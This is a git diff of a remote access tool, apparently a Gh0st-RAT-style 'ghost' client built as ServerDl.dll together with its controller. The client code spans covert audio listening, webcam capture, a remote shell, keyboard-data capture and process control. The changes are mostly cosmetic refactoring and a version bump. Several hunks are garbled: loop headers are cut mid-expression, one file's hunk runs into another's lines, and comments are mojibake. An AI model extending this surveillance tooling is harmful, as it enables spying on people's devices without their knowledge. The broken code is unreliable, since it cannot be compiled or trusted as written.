diff --git a/ReadMe.txt b/ReadMe.txt
index d0def57..43eda75 100644
--- a/ReadMe.txt
+++ b/ReadMe.txt
@@ -102,4 +102,10 @@
2、修复被控端屏幕被缩放显示时远程桌面跟踪鼠标的位置不准的问题。
-3、修复语音监听的问题，2个事件CAudio修改为"Manual Reset"。
+3、修复语音监听的问题，2个事件CAudio修改为非"Manual Reset"。
+
+2019.1.18
+
+1、整理部分垃圾代码。
+
+2、发布V1.0.0.2。
diff --git a/client/Audio.cpp b/client/Audio.cpp
index b60a03e..e657fcb 100644
--- a/client/Audio.cpp
+++ b/client/Audio.cpp
@@ -34,8 +34,7 @@ CAudio::CAudio()
m_ulBufferLength = 1000;
- int i = 0;
- for (i = 0; i < 2; i++)
+ for (int i = 0; i < 2; ++i)
{
m_InAudioData[i] = new BYTE[m_ulBufferLength];
m_InAudioHeader[i] = new WAVEHDR;
@@ -66,7 +65,7 @@ CAudio::~CAudio()
{
waveInStop(m_hWaveIn);
waveInReset(m_hWaveIn);
- for (int i = 0; i < 2; i++)
+ for (int i = 0; i < 2; ++i)
waveInUnprepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR));
waveInClose(m_hWaveIn);
@@ -77,7 +76,7 @@ CAudio::~CAudio()
m_Thread = NULL;
}
- for (int i = 0; i < 2; i++)
+ for (int i = 0; i < 2; ++i)
{
delete [] m_InAudioData[i];
m_InAudioData[i] = NULL;
@@ -88,12 +87,12 @@ CAudio::~CAudio()
if (m_bIsWaveOutUsed)
{
waveOutReset(m_hWaveOut);
- for (int i = 0; i < 2; i++)
+ for (int i = 0; i < 2; ++i)
waveOutUnprepareHeader(m_hWaveOut, m_InAudioHeader[i], sizeof(WAVEHDR));
waveOutClose(m_hWaveOut);
}
- for (int i = 0; i < 2; i++)
+ for (int i = 0; i < 2; ++i)
{
delete [] m_OutAudioData[i];
m_OutAudioData[i] = NULL;
@@ -122,7 +121,7 @@ BOOL CAudio::InitializeWaveIn()
}
//¼豸 Ҫ
- for (int i=0; i<2; i++)
+ for (int i=0; i<2; ++i)
{
m_InAudioHeader[i]->lpData = (LPSTR)m_InAudioData[i]; //m_lpInAudioData ָ
m_InAudioHeader[i]->dwBufferLength = m_ulBufferLength;
@@ -218,8 +217,8 @@ BOOL CAudio::InitializeWaveOut()
{
if (!waveOutGetNumDevs())
return FALSE;
- int i;
- for (i = 0; i < 2; i++)
+
+ for (int i = 0; i < 2; ++i)
memset(m_OutAudioData[i], 0, m_ulBufferLength); //
MMRESULT mmResult;
@@ -227,7 +226,7 @@ BOOL CAudio::InitializeWaveOut()
if (mmResult != MMSYSERR_NOERROR)
return false;
- for (i = 0; i < 2; i++)
+ for (int i = 0; i < 2; ++i)
{
m_OutAudioHeader[i]->lpData = (LPSTR)m_OutAudioData[i];
m_OutAudioHeader[i]->dwBufferLength = m_ulBufferLength;
diff --git a/client/Audio.h b/client/Audio.h
index 19eb955..c152fb8 100644
--- a/client/Audio.h
+++ b/client/Audio.h
@@ -28,8 +28,8 @@ public:
bool m_hThreadCallBack;
HANDLE m_Thread;// waveInCallBack߳
static DWORD WINAPI waveInCallBack(LPVOID lParam); //͵ض
- LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize);
- BOOL CAudio::InitializeWaveIn();
+ LPBYTE GetRecordBuffer(LPDWORD dwBufferSize);
+ BOOL InitializeWaveIn();
BOOL m_bIsWaveInUsed;
HWAVEOUT m_hWaveOut;
@@ -38,8 +38,8 @@ public:
DWORD m_nWaveOutIndex;
LPWAVEHDR m_OutAudioHeader[2]; //ͷ
LPBYTE m_OutAudioData[2]; //
- BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize);
- BOOL CAudio::InitializeWaveOut();
+ BOOL PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize);
+ BOOL InitializeWaveOut();
};
#endif // !defined(AFX_AUDIO_H__56854DE7_5FE4_486F_9AFC_CE3726EF7CBC__INCLUDED_)
diff --git a/client/AudioManager.cpp b/client/AudioManager.cpp
index 3957f21..342edc4 100644
--- a/client/AudioManager.cpp
+++ b/client/AudioManager.cpp
@@ -59,7 +59,8 @@ DWORD CAudioManager::WorkThread(LPVOID lParam) //
CAudioManager *This = (CAudioManager *)lParam;
while (This->m_bIsWorking)
{
- This->SendRecordBuffer();
+ if(!This->SendRecordBuffer())
+ Sleep(50);
}
cout<<"CAudioManager WorkThread end\n";
@@ -67,10 +68,10 @@ DWORD CAudioManager::WorkThread(LPVOID lParam) //
return 0;
}
-int CAudioManager::SendRecordBuffer()
+BOOL CAudioManager::SendRecordBuffer()
{
DWORD dwBufferSize = 0;
- DWORD dwReturn = 0;
+ BOOL dwReturn = 0;
//õ Ƶ
LPBYTE szBuffer = m_AudioObject->GetRecordBuffer(&dwBufferSize);
if (szBuffer == NULL)
diff --git a/client/AudioManager.h b/client/AudioManager.h
index b7d9bfb..c6b402b 100644
--- a/client/AudioManager.h
+++ b/client/AudioManager.h
@@ -23,7 +23,7 @@ public:
BOOL m_bIsWorking;
HANDLE m_hWorkThread;
static DWORD WorkThread(LPVOID lParam);
- int CAudioManager::SendRecordBuffer();
+ BOOL SendRecordBuffer();
CAudio* m_AudioObject;
};
diff --git a/client/Buffer.cpp b/client/Buffer.cpp
index 4a6b3c1..44b72bf 100644
--- a/client/Buffer.cpp
+++ b/client/Buffer.cpp
@@ -135,7 +135,7 @@ VOID CBuffer::ClearBuffer()
-ULONG CBuffer::GetBufferLength() //Чݳ
+ULONG CBuffer::GetBufferLength() const //Чݳ
{
if (m_Base == NULL)
return 0;
@@ -144,12 +144,12 @@ ULONG CBuffer::GetBufferLength() //
}
-ULONG CBuffer::GetBufferMaxLength()
+ULONG CBuffer::GetBufferMaxLength() const
{
return m_ulMaxLength;
}
-PBYTE CBuffer::GetBuffer(ULONG ulPos)
+PBYTE CBuffer::GetBuffer(ULONG ulPos) const
{
if (m_Base==NULL)
{
diff --git a/client/Buffer.h b/client/Buffer.h
index e1ea09a..cb732cb 100644
--- a/client/Buffer.h
+++ b/client/Buffer.h
@@ -8,14 +8,14 @@ public:
CBuffer(void);
~CBuffer(void);
- ULONG GetBufferMaxLength();
+ ULONG GetBufferMaxLength() const;
ULONG ReadBuffer(PBYTE Buffer, ULONG ulLength);
- ULONG GetBufferLength(); //Чݳ;
+ ULONG GetBufferLength() const; //Чݳ
ULONG DeAllocateBuffer(ULONG ulLength);
VOID ClearBuffer();
ULONG ReAllocateBuffer(ULONG ulLength);
BOOL WriteBuffer(PBYTE Buffer, ULONG ulLength);
- PBYTE GetBuffer(ULONG ulPos=0);
+ PBYTE GetBuffer(ULONG ulPos=0) const;
protected:
PBYTE m_Base;
diff --git a/client/CaptureVideo.h b/client/CaptureVideo.h
index 5a3750a..bd7a106 100644
--- a/client/CaptureVideo.h
+++ b/client/CaptureVideo.h
@@ -158,12 +158,12 @@ class CCaptureVideo
public:
CCaptureVideo();
virtual ~CCaptureVideo();
- LPBITMAPINFO CCaptureVideo::GetBmpInfor();
- HRESULT CCaptureVideo::InitCaptureGraphBuilder();
- HRESULT CCaptureVideo::Open(int iDeviceID,int iPress);
- BOOL CCaptureVideo::BindVideoFilter(int deviceId, IBaseFilter **pFilter);
+ LPBITMAPINFO GetBmpInfor();
+ HRESULT InitCaptureGraphBuilder();
+ HRESULT Open(int iDeviceID,int iPress);
+ BOOL BindVideoFilter(int deviceId, IBaseFilter **pFilter);
- LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize);
+ LPBYTE GetDIB(DWORD& dwSize);
HWND m_hWnd;
@@ -176,10 +176,10 @@ public:
IBaseFilter* m_pBF; //FDO
ISampleGrabber* m_pGrabber; // 24Color
- void CCaptureVideo::FreeMediaType(AM_MEDIA_TYPE& mt);
- void CCaptureVideo::ResizeVideoWindow();
- HRESULT CCaptureVideo::SetupVideoWindow();
- void CCaptureVideo::SendEnd();
+ void FreeMediaType(AM_MEDIA_TYPE& mt);
+ void ResizeVideoWindow();
+ HRESULT SetupVideoWindow();
+ void SendEnd();
};
#endif // !defined(AFX_CAPTUREVIDEO_H__0984BB8E_6DCB_4A5C_8E03_1217AE6E409D__INCLUDED_)
diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp
index abaeaa2..d8d13ea 100644
--- a/client/IOCPClient.cpp
+++ b/client/IOCPClient.cpp
@@ -266,7 +266,7 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
}
-int IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength) //Hello
+BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength) //Hello
{
AUTO_TICK(10);
assert (ulOriginalLength > 0);
diff --git a/client/IOCPClient.h b/client/IOCPClient.h
index 776bbcd..becbae2 100644
--- a/client/IOCPClient.h
+++ b/client/IOCPClient.h
@@ -38,7 +38,7 @@ public:
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength);
- int OnServerSending(const char* szBuffer, ULONG ulOriginalLength);
+ BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength);
BOOL SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength);
BOOL IsRunning() const
diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp
index de7ad06..7cbb705 100644
--- a/client/KernelManager.cpp
+++ b/client/KernelManager.cpp
@@ -18,7 +18,7 @@ CKernelManager::~CKernelManager()
{
printf("~CKernelManager begin\n");
int i = 0;
- for (i=0;i<0x1000;i++)
+ for (i=0;i<0x1000;++i)
{
if (m_hThread->h!=0)
{
diff --git a/client/LoginServer.cpp b/client/LoginServer.cpp
index 741d219..29dbe10 100644
--- a/client/LoginServer.cpp
+++ b/client/LoginServer.cpp
@@ -56,7 +56,7 @@ BOOL WebCamIsExist()
BOOL bOk = FALSE;
char szDeviceName[100], szVer[50];
- for (int i = 0; i < 10 && !bOk; i++)
+ for (int i = 0; i < 10 && !bOk; ++i)
{
bOk = capGetDriverDescription(i, szDeviceName, sizeof(szDeviceName),
//ϵͳAPI
diff --git a/client/RegisterManager.h b/client/RegisterManager.h
index cc65dbe..f5240d6 100644
--- a/client/RegisterManager.h
+++ b/client/RegisterManager.h
@@ -18,7 +18,7 @@ public:
CRegisterManager(IOCPClient* ClientObject, int n);
virtual ~CRegisterManager();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
- VOID CRegisterManager::Find(char bToken, char *szPath);
+ VOID Find(char bToken, char *szPath);
};
#endif // !defined(AFX_REGISTERMANAGER_H__2EFB2AB3_C6C9_454E_9BC7_AE35362C85FE__INCLUDED_)
diff --git a/client/RegisterOperation.h b/client/RegisterOperation.h
index c4f1f50..85e0124 100644
--- a/client/RegisterOperation.h
+++ b/client/RegisterOperation.h
@@ -14,11 +14,11 @@ class RegisterOperation
public:
RegisterOperation(char bToken);
virtual ~RegisterOperation();
- char* RegisterOperation::FindPath();
+ char* FindPath();
HKEY MKEY;
char KeyPath[MAX_PATH];
- void RegisterOperation::SetPath(char *szPath);
- char* RegisterOperation::FindKey();
+ void SetPath(char *szPath);
+ char* FindKey();
};
#endif // !defined(AFX_REGISTEROPERATION_H__BB4F3ED1_FA98_4BA4_97D6_A78E683131CC__INCLUDED_)
diff --git a/client/Res/msg.ico b/client/Res/msg.ico
new file mode 100644
index 0000000..b45ae41
Binary files /dev/null and b/client/Res/msg.ico differ
diff --git a/client/Script.rc b/client/Script.rc
index b349eaf..b1bb981 100644
--- a/client/Script.rc
+++ b/client/Script.rc
@@ -29,7 +29,7 @@ STYLE DS_SYSMODAL | DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSM
CAPTION "Ϣʾ"
FONT 10, "System", 0, 0, 0x0
BEGIN
- EDITTEXT IDC_EDIT_MESSAGE,0,0,180,82,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | NOT WS_BORDER | WS_VSCROLL
+ LTEXT "Static",IDC_EDIT_MESSAGE,5,5,170,95
END
@@ -43,7 +43,6 @@ GUIDELINES DESIGNINFO
BEGIN
IDD_DIALOG, DIALOG
BEGIN
- BOTTOMMARGIN, 101
END
END
#endif // APSTUDIO_INVOKED
@@ -88,7 +87,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
//
VS_VERSION_INFO VERSIONINFO
- FILEVERSION 1,0,0,1
+ FILEVERSION 1,0,0,2
PRODUCTVERSION 1,0,0,1
FILEFLAGSMASK 0x3fL
#ifdef _DEBUG
@@ -106,7 +105,7 @@ BEGIN
BEGIN
VALUE "CompanyName", "FUCK THE UNIVERSE"
VALUE "FileDescription", "A GHOST"
- VALUE "FileVersion", "1.0.0.1"
+ VALUE "FileVersion", "1.0.0.2"
VALUE "InternalName", "ServerDl.dll"
VALUE "LegalCopyright", "Copyright (C) 2019-2025"
VALUE "OriginalFilename", "ServerDl.dll"
@@ -129,6 +128,7 @@ END
// Icon with lowest ID value placed first to ensure application icon
// remains consistent on all systems.
IDI_ICON_MAIN ICON "Res\\ghost.ico"
+IDI_ICON_MSG ICON "Res\\msg.ico"
#endif // (壬й) resources
/////////////////////////////////////////////////////////////////////////////
diff --git a/client/ServicesManager.cpp b/client/ServicesManager.cpp
index f0d4491..dd4a9b7 100644
--- a/client/ServicesManager.cpp
+++ b/client/ServicesManager.cpp
@@ -68,7 +68,7 @@ LPBYTE CServicesManager::GetServicesList()
szBuffer[0] = TOKEN_SERVERLIST;
dwOffset = 1;
- for (unsigned long i = 0; i < dwServicesCount; i++) // Display The Services,ʾеķ
+ for (unsigned long i = 0; i < dwServicesCount; ++i) // Display The Services,ʾеķ
{
SC_HANDLE hServices = NULL;
DWORD nResumeHandle = 0;
diff --git a/client/ServicesManager.h b/client/ServicesManager.h
index a9dd60f..cbdbe5a 100644
--- a/client/ServicesManager.h
+++ b/client/ServicesManager.h
@@ -16,10 +16,10 @@ class CServicesManager : public CManager
public:
CServicesManager(IOCPClient* ClientObject, int n);
virtual ~CServicesManager();
- VOID CServicesManager::SendServicesList();
- LPBYTE CServicesManager::GetServicesList();
+ VOID SendServicesList();
+ LPBYTE GetServicesList();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
- void CServicesManager::ServicesConfig(PBYTE szBuffer, ULONG ulLength);
+ void ServicesConfig(PBYTE szBuffer, ULONG ulLength);
SC_HANDLE m_hscManager;
};
diff --git a/client/ShellManager.h b/client/ShellManager.h
index 4daccf5..b9f5bb5 100644
--- a/client/ShellManager.h
+++ b/client/ShellManager.h
@@ -25,7 +25,7 @@ public:
virtual ~CShellManager();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
- static DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam);
+ static DWORD WINAPI ReadPipeThread(LPVOID lParam);
HANDLE m_hThreadRead;
int m_nCmdLength; //
diff --git a/client/SystemManager.h b/client/SystemManager.h
index 400111a..40616b1 100644
--- a/client/SystemManager.h
+++ b/client/SystemManager.h
@@ -17,15 +17,15 @@ class CSystemManager : public CManager
public:
CSystemManager(IOCPClient* ClientObject,BOOL bHow);
virtual ~CSystemManager();
- LPBYTE CSystemManager::GetProcessList();
- VOID CSystemManager::SendProcessList();
- BOOL CSystemManager::DebugPrivilege(const char *szName, BOOL bEnable);
+ LPBYTE GetProcessList();
+ VOID SendProcessList();
+ BOOL DebugPrivilege(const char *szName, BOOL bEnable);
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
- VOID CSystemManager::KillProcess(LPBYTE szBuffer, UINT ulLength);
- LPBYTE CSystemManager::GetWindowsList();
- static BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam);
- void CSystemManager::SendWindowsList();
- void CSystemManager::TestWindow(LPBYTE szBuffer);
+ VOID KillProcess(LPBYTE szBuffer, UINT ulLength);
+ LPBYTE GetWindowsList();
+ static BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam);
+ void SendWindowsList();
+ void TestWindow(LPBYTE szBuffer);
};
#endif // !defined(AFX_SYSTEMMANAGER_H__38ABB010_F90B_4AE7_A2A3_A52808994A9B__INCLUDED_)
diff --git a/client/TalkManager.cpp b/client/TalkManager.cpp
index 20bcd9c..0a3ee53 100644
--- a/client/TalkManager.cpp
+++ b/client/TalkManager.cpp
@@ -87,11 +87,13 @@ VOID CTalkManager::OnInitDialog(HWND hDlg)
{
MoveWindow(hDlg, 0, 0, 0, 0, TRUE);
- static HICON hIcon = LoadIcon(NULL, MAKEINTRESOURCE(IDI_ICON_MAIN));
+ static HICON hIcon = LoadIcon(NULL, MAKEINTRESOURCE(IDI_ICON_MSG));
::SendMessage(hDlg, WM_SETICON, (WPARAM)hIcon, (LPARAM)hIcon);
SetDlgItemText(hDlg,IDC_EDIT_MESSAGE,g_Buffer);
+ ::SetFocus(GetDesktopWindow());
+
memset(g_Buffer,0,sizeof(g_Buffer));
g_Event = ID_TIMER_POP_WINDOW;
diff --git a/client/VideoManager.h b/client/VideoManager.h
index 22c9231..573e108 100644
--- a/client/VideoManager.h
+++ b/client/VideoManager.h
@@ -22,19 +22,19 @@ public:
BOOL m_bIsWorking;
HANDLE m_hWorkThread;
- void CVideoManager::SendBitMapInfor();
- void CVideoManager::SendNextScreen();
+ void SendBitMapInfor();
+ void SendNextScreen();
static DWORD WorkThread(LPVOID lParam);
CCaptureVideo m_CapVideo;
- VOID CVideoManager::OnReceive(PBYTE szBuffer, ULONG ulLength);
- BOOL CVideoManager::Initialize();
+ VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
+ BOOL Initialize();
DWORD m_fccHandler;
bool m_bIsCompress;
CVideoCodec *m_pVideoCodec; //ѹ
- void CVideoManager::Destroy();
+ void Destroy();
};
#endif // !defined(AFX_VIDEOMANAGER_H__883F2A96_1F93_4657_A169_5520CB142D46__INCLUDED_)
diff --git a/client/ghost.vcxproj b/client/ghost.vcxproj
index 30e4018..a73e6e6 100644
--- a/client/ghost.vcxproj
+++ b/client/ghost.vcxproj
@@ -143,6 +143,7 @@
+
diff --git a/client/ghost.vcxproj.filters b/client/ghost.vcxproj.filters
index df17464..13ffc0d 100644
--- a/client/ghost.vcxproj.filters
+++ b/client/ghost.vcxproj.filters
@@ -178,5 +178,8 @@
资源文件
+
+ 资源文件
+
\ No newline at end of file
diff --git a/client/resource.h b/client/resource.h
index b801e4c..f0b6936 100644
--- a/client/resource.h
+++ b/client/resource.h
@@ -6,13 +6,15 @@
#define IDR_WAVE 102
#define IDI_ICON1 104
#define IDI_ICON_MAIN 104
+#define IDI_ICON2 105
+#define IDI_ICON_MSG 105
#define IDC_EDIT_MESSAGE 1000
// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
-#define _APS_NEXT_RESOURCE_VALUE 105
+#define _APS_NEXT_RESOURCE_VALUE 106
#define _APS_NEXT_COMMAND_VALUE 40001
#define _APS_NEXT_CONTROL_VALUE 1001
#define _APS_NEXT_SYMED_VALUE 101
diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc
index ebbeda7..d19591f 100644
Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ
diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp
index a1db7b7..bf17878 100644
--- a/server/2015Remote/2015RemoteDlg.cpp
+++ b/server/2015Remote/2015RemoteDlg.cpp
@@ -302,7 +302,7 @@ VOID CMy2015RemoteDlg::InitControl()
rect.bottom+=20;
MoveWindow(rect);
- for (int i = 0;iGetMenuItemCount();
if (m_CList_Online.GetSelectedCount() == 0) //ûѡ
{
- for (int i = 0;iEnableMenuItem(i, MF_BYPOSITION | MF_DISABLED | MF_GRAYED); //˵ȫ
}
@@ -669,7 +669,7 @@ void CMy2015RemoteDlg::OnOnlineDelete()
int iCount = m_CList_Online.GetSelectedCount();
int i = 0;
- for (i=0;ilpData = (LPSTR)m_InAudioData[i]; //m_lpInAudioData ָ
m_InAudioHeader[i]->dwBufferLength = m_ulBufferLength;
@@ -214,7 +214,7 @@ BOOL CAudio::InitializeWaveOut()
if (!waveOutGetNumDevs())
return FALSE;
int i;
- for (i = 0; i < 2; i++)
+ for (i = 0; i < 2; ++i)
memset(m_OutAudioData[i], 0, m_ulBufferLength); //
MMRESULT mmResult;
@@ -222,7 +222,7 @@ BOOL CAudio::InitializeWaveOut()
if (mmResult != MMSYSERR_NOERROR)
return false;
- for (i = 0; i < 2; i++)
+ for (i = 0; i < 2; ++i)
{
m_OutAudioHeader[i]->lpData = (LPSTR)m_OutAudioData[i];
m_OutAudioHeader[i]->dwBufferLength = m_ulBufferLength;
diff --git a/server/2015Remote/Audio.h b/server/2015Remote/Audio.h
index c49020f..0f9d32d 100644
--- a/server/2015Remote/Audio.h
+++ b/server/2015Remote/Audio.h
@@ -27,8 +27,8 @@ public:
DWORD m_nWaveInIndex;
bool m_hThreadCallBack;
static DWORD WINAPI waveInCallBack(LPVOID lParam); //͵ض
- LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize);
- BOOL CAudio::InitializeWaveIn();
+ LPBYTE GetRecordBuffer(LPDWORD dwBufferSize);
+ BOOL InitializeWaveIn();
BOOL m_bIsWaveInUsed;
HWAVEOUT m_hWaveOut;
@@ -37,8 +37,8 @@ public:
DWORD m_nWaveOutIndex;
LPWAVEHDR m_OutAudioHeader[2]; //ͷ
LPBYTE m_OutAudioData[2]; //
- BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize);
- BOOL CAudio::InitializeWaveOut();
+ BOOL PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize);
+ BOOL InitializeWaveOut();
};
#endif // !defined(AFX_AUDIO_H__56854DE7_5FE4_486F_9AFC_CE3726EF7CBC__INCLUDED_)
diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp
index ffdbc7f..723e1b6 100644
--- a/server/2015Remote/BuildDlg.cpp
+++ b/server/2015Remote/BuildDlg.cpp
@@ -125,7 +125,7 @@ int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeyS
{
return -1;
}
- for (i = 0; i < iBufferSize; i++)
+ for (i = 0; i < iBufferSize; ++i)
{
for (j = 0; j < iKeySize; j ++)
if (szBuffer[i+j] != Key[j]) break; //0x12345678 78 56 34 12
diff --git a/server/2015Remote/FileManagerDlg.cpp b/server/2015Remote/FileManagerDlg.cpp
index e6718d2..ac41e19 100644
--- a/server/2015Remote/FileManagerDlg.cpp
+++ b/server/2015Remote/FileManagerDlg.cpp
@@ -448,7 +448,7 @@ void CFileManagerDlg::FixedLocalFileList(CString directory)
);
// i Ϊ 0 ʱĿ¼i Ϊ 1ʱļ
- for (int i = 0; i < 2; i++)
+ for (int i = 0; i < 2; ++i)
{
CFileFind file;
BOOL bContinue;
@@ -1056,7 +1056,7 @@ void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen)
if (dwBufferLen != 0)
{
//
- for (int i = 0; i < 2; i++)
+ for (int i = 0; i < 2; ++i)
{
// Token5ֽ
char *pList = (char *)(pbBuffer + 1);
@@ -1767,7 +1767,7 @@ void CFileManagerDlg::WriteLocalRecvFile()
SetFilePointer(hFile, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN);
int nRet = 0, i = 0;
- for (; i < MAX_WRITE_RETRY; i++)
+ for (; i < MAX_WRITE_RETRY; ++i)
{
// дļ
nRet = WriteFile
@@ -2337,7 +2337,7 @@ void CFileManagerDlg::OnRclickListLocal(NMHDR* pNMHDR, LRESULT* pResult)
if (pListCtrl->GetSelectedCount() == 0)
{
int count = pM->GetMenuItemCount();
- for (int i = 0; i < count; i++)
+ for (int i = 0; i < count; ++i)
{
pM->EnableMenuItem(i, MF_BYPOSITION | MF_GRAYED);
}
@@ -2377,7 +2377,7 @@ void CFileManagerDlg::OnRclickListRemote(NMHDR* pNMHDR, LRESULT* pResult)
if (pListCtrl->GetSelectedCount() == 0)
{
int count = pM->GetMenuItemCount();
- for (int i = 0; i < count; i++)
+ for (int i = 0; i < count; ++i)
{
pM->EnableMenuItem(i, MF_BYPOSITION | MF_GRAYED);
}
diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp
index ec09a52..6716c40 100644
--- a/server/2015Remote/IOCPServer.cpp
+++ b/server/2015Remote/IOCPServer.cpp
@@ -271,7 +271,7 @@ BOOL IOCPServer::InitializeIOCP(VOID)
ULONG ulWorkThreadCount = m_ulThreadPoolMax;
HANDLE hWorkThread = NULL;
- for (int i=0; i0&&count>0){ //һ㱣ʩ
- for(int i=0;iInDeCompressedBuffer.GetBufferLength() - 1; i++)
+ for (i = 0; dwOffset < m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; ++i)
{
szDisplayName = szBuffer + dwOffset;
szServiceName = szDisplayName + lstrlen(szDisplayName) +1;
diff --git a/server/2015Remote/ServicesDlg.h b/server/2015Remote/ServicesDlg.h
index 064e444..65a6359 100644
--- a/server/2015Remote/ServicesDlg.h
+++ b/server/2015Remote/ServicesDlg.h
@@ -14,9 +14,9 @@ public:
virtual ~CServicesDlg();
CONTEXT_OBJECT* m_ContextObject;
IOCPServer* m_iocpServer;
- int CServicesDlg::ShowServicesList(void);
- void CServicesDlg::OnReceiveComplete(void);
- void CServicesDlg::ServicesConfig(BYTE bCmd);
+ int ShowServicesList(void);
+ void OnReceiveComplete(void);
+ void ServicesConfig(BYTE bCmd);
// Ի
enum { IDD = IDD_DIALOG_SERVICES };
diff --git a/server/2015Remote/ShellDlg.h b/server/2015Remote/ShellDlg.h
index a9dbcef..d3f5a41 100644
--- a/server/2015Remote/ShellDlg.h
+++ b/server/2015Remote/ShellDlg.h
@@ -13,10 +13,10 @@ public:
virtual ~CShellDlg();
CONTEXT_OBJECT* m_ContextObject;
IOCPServer* m_iocpServer;
- VOID CShellDlg::OnReceiveComplete();
+ VOID OnReceiveComplete();
HICON m_hIcon;
UINT m_nReceiveLength;
- VOID CShellDlg::AddKeyBoardData(void);
+ VOID AddKeyBoardData(void);
UINT m_nCurSel; //õǰλ;
// Ի
diff --git a/server/2015Remote/SystemDlg.cpp b/server/2015Remote/SystemDlg.cpp
index 9fda99c..285c38c 100644
--- a/server/2015Remote/SystemDlg.cpp
+++ b/server/2015Remote/SystemDlg.cpp
@@ -98,7 +98,7 @@ void CSystemDlg::ShowWindowsList(void)
m_ControlList.DeleteAllItems();
CString str;
int i ;
- for ( i = 0; dwOffset InDeCompressedBuffer.GetBufferLength() - 1; i++)
+ for ( i = 0; dwOffset InDeCompressedBuffer.GetBufferLength() - 1; ++i)
{
LPDWORD lpPID = LPDWORD(szBuffer + dwOffset); //ھ
szTitle = (char *)szBuffer + dwOffset + sizeof(DWORD); //ڱ
@@ -128,7 +128,7 @@ void CSystemDlg::ShowProcessList(void)
m_ControlList.DeleteAllItems();
//ÿһַݽṹ Id++0++0
int i;
- for (i = 0; dwOffset < m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; i++)
+ for (i = 0; dwOffset < m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; ++i)
{
LPDWORD PID = LPDWORD(szBuffer + dwOffset); //õID
szExeFile = szBuffer + dwOffset + sizeof(DWORD); //ID֮
diff --git a/server/2015Remote/SystemDlg.h b/server/2015Remote/SystemDlg.h
index 9c0f5b1..6349547 100644
--- a/server/2015Remote/SystemDlg.h
+++ b/server/2015Remote/SystemDlg.h
@@ -13,11 +13,11 @@ public:
virtual ~CSystemDlg();
CONTEXT_OBJECT* m_ContextObject;
IOCPServer* m_iocpServer;
- VOID CSystemDlg::GetProcessList(void);
- VOID CSystemDlg::ShowProcessList(void);
- void CSystemDlg::ShowWindowsList(void);
- void CSystemDlg::GetWindowsList(void);
- void CSystemDlg::OnReceiveComplete(void);
+ VOID GetProcessList(void);
+ VOID ShowProcessList(void);
+ void ShowWindowsList(void);
+ void GetWindowsList(void);
+ void OnReceiveComplete(void);
BOOL m_bHow;
// Ի
enum { IDD = IDD_DIALOG_SYSTEM };
diff --git a/server/2015Remote/TrueColorToolBar.cpp b/server/2015Remote/TrueColorToolBar.cpp
index 8a8df14..98cf097 100644
--- a/server/2015Remote/TrueColorToolBar.cpp
+++ b/server/2015Remote/TrueColorToolBar.cpp
@@ -118,7 +118,7 @@ void CTrueColorToolBar::AddDropDownButton(CWnd* pParent, UINT uButtonID, UINT uM
void CTrueColorToolBar::OnToolbarDropDown(NMHDR* pnmh, LRESULT *plr)
{
NMTOOLBARA * pnmtb=(NMTOOLBARA *)pnmh;
- for (int i = 0; i < m_lstDropDownButton.GetSize(); i++) {
+ for (int i = 0; i < m_lstDropDownButton.GetSize(); ++i) {
stDropDownInfo DropDownInfo = m_lstDropDownButton.GetAt(i);
diff --git a/server/2015Remote/VideoDlg.h b/server/2015Remote/VideoDlg.h
index 4dbb3d4..b287f59 100644
--- a/server/2015Remote/VideoDlg.h
+++ b/server/2015Remote/VideoDlg.h
@@ -152,11 +152,11 @@ public:
LPBITMAPINFO m_BitmapInfor_Full;
BYTE* m_BitmapData_Full;
BYTE* m_BitmapCompressedData_Full;
- void CVideoDlg::ResetScreen(void);
- void CVideoDlg::OnReceiveComplete(void);
- void CVideoDlg::DrawDIB(void);
+ void ResetScreen(void);
+ void OnReceiveComplete(void);
+ void DrawDIB(void);
- void CVideoDlg::InitCodec(DWORD fccHandler);
+ void InitCodec(DWORD fccHandler);
HDC m_hDC;
HDRAWDIB m_hDD;